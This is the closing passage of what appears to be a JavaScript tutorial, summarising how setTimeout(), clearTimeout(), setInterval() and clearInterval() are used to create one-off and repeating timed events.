We've now covered the four methods that you can use to create timed events in JavaScript: setTimeout() and clearTimeout() for controlling one-off events, and setInterval() and clearInterval() for setting up repeating events. Armed with these tools, you should have no problem creating timed events in your own scripts.